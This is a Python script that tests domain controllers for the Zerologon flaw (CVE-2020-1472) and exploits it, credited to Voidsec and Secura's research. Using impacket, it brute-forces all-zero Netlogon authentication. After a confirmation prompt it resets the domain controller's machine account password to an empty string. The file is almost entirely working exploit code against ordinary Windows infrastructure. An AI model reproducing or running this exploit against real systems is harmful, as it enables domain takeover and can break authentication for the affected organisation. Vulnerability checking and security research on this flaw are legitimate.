#!/usr/bin/env python3
"""
Zerologon Checker & Exploit
Paolo Stagno aka Voidsec (@Void_Sec) - https://voidsec.com
Original script and research by Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon
"""
import argparse
import sys
import pyfiglet
from impacket.dcerpc.v5 import nrpc, epm
from impacket.dcerpc.v5 import transport
from termcolor import cprint

# Give up brute-forcing after this many attempts. If vulnerable, 256 attempts are expected to be necessary on average.
MAX_ATTEMPTS = 2000  # False negative chance: 0.04%


def main():
    parser = argparse.ArgumentParser(prog="cve-2020-1472-exploit.py",
                                     description="Zerologon Checker & Exploit: Tests whether a domain controller is "
                                                 "vulnerable to the Zerologon attack, if vulnerable, it will resets the DC's account password to an empty string.")
    parser.add_argument("-t", default=None, dest="dc_ip", required=True, help="Domain Controller's IP")
    parser.add_argument("-n", default=None, dest="dc_name", required=True,
                        help="NetBIOS' name of the Domain Controller")
    args = parser.parse_args()
    dc_name = args.dc_name.rstrip("$")
    dc_ip = args.dc_ip
    perform_attack("\\\\" + dc_name, dc_ip, dc_name)


def err(msg):
    cprint("[!] " + msg, "red")


def try_zero_authenticate(dc_handle, dc_ip, target_computer):
    # Connect to the DC's Netlogon service.
    binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
    rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()
    rpc_con.connect()
    rpc_con.bind(nrpc.MSRPC_UUID_NRPC)

    # Use an all-zero challenge and credential.
    plaintext = b"\x00" * 8
    ciphertext = b"\x00" * 8

    # Standard flags observed from a Windows 10 client (including AES), with only the sign/seal flag disabled.
    flags = 0x212fffff

    # Send challenge and authentication request.
    nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + "\x00", target_computer + "\x00", plaintext)
    try:
        server_auth = nrpc.hNetrServerAuthenticate3(
            rpc_con, dc_handle + "\x00", target_computer + "$\x00",
            nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,
                     target_computer + "\x00", ciphertext, flags
        )

        # It worked!
        assert server_auth["ErrorCode"] == 0
        return rpc_con

    except nrpc.DCERPCSessionError as ex:
        # Failure should be due to a STATUS_ACCESS_DENIED error. Otherwise, the attack is probably not working.
        if ex.get_error_code() == 0xc0000022:
            return None
        else:
            err("Unexpected error code returned from DC: {}".format(ex.get_error_code()))
    except BaseException as ex:
        err("Unexpected error: {}".format(ex))


def try_zerologon(dc_handle, rpc_con, target_computer):
    """
    Authenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5, that contains the encrypted
    logon credential and a time stamp.

        typedef struct _NETLOGON_AUTHENTICATOR {
           NETLOGON_CREDENTIAL Credential;
           DWORD Timestamp;
         }

    Timestamp:  An integer value that contains the time of day at which the client constructed this authentication
    credential, represented as the number of elapsed seconds since 00:00:00 of January 1, 1970.
    The authenticator is constructed just before making a call to a method that requires its usage.

        typedef struct _NETLOGON_CREDENTIAL {
            CHAR data[8];
        }

    ClearNewPassword: A NL_TRUST_PASSWORD structure, as specified in section 2.2.1.3.7,
    that contains the new password encrypted as specified in Calling NetrServerPasswordSet2 (section 3.4.5.2.5).

        typedef struct _NL_TRUST_PASSWORD {
            WCHAR Buffer[256];
            ULONG Length;
        }

    ReturnAuthenticator: A NETLOGON_AUTHENTICATOR structure, as specified in section 2.2.1.1.5,
    that contains the server return authenticator.

    More info can be found on the [MS-NRPC]-170915.pdf
    """
    request = nrpc.NetrServerPasswordSet2()
    request["PrimaryName"] = dc_handle + "\x00"
    request["AccountName"] = target_computer + "$\x00"
    request["SecureChannelType"] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel
    authenticator = nrpc.NETLOGON_AUTHENTICATOR()
    authenticator["Credential"] = b"\x00" * 8
    authenticator["Timestamp"] = 0
    request["Authenticator"] = authenticator
    request["ComputerName"] = target_computer + "\x00"
    request["ClearNewPassword"] = b"\x00" * 516
    return rpc_con.request(request)


def perform_attack(dc_handle, dc_ip, target_computer):
    banner = pyfiglet.figlet_format("Zerologon", "slant")
    cprint(banner, "green")
    cprint("Checker & Exploit by VoidSec\n", "white")
    # Keep authenticating until successful. Expected average number of attempts needed: 256.
    cprint("Performing authentication attempts...", "white")
    rpc_con = None
    for attempt in range(0, MAX_ATTEMPTS):
        rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)

        if rpc_con is None:
            cprint(".", "magenta", end="", flush=True)
        else:
            break

    if rpc_con:
        cprint("\n[+] Success: Target is vulnerable!", "green")
        cprint("[-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y", "yellow")
        exec_exploit = input().lower()
        if exec_exploit == "y":
            result = try_zerologon(dc_handle, rpc_con, target_computer)
            if result["ErrorCode"] == 0:
                cprint(
                    "[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.",
                    "green")
            else:
                err(
                    "Exploit Failed: Non-zero return code, something went wrong. Domain Controller returned: {}".format(
                        result["ErrorCode"]))
        else:
            err("Aborted")
            sys.exit(0)
    else:
        err("Exploit failed: target DC is probably patched.")
        sys.exit(1)


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        # Catch CTRL+C, it will abruptly kill the script, no cleanup
        err("CTRL+C, exiting...")
        sys.exit(1)
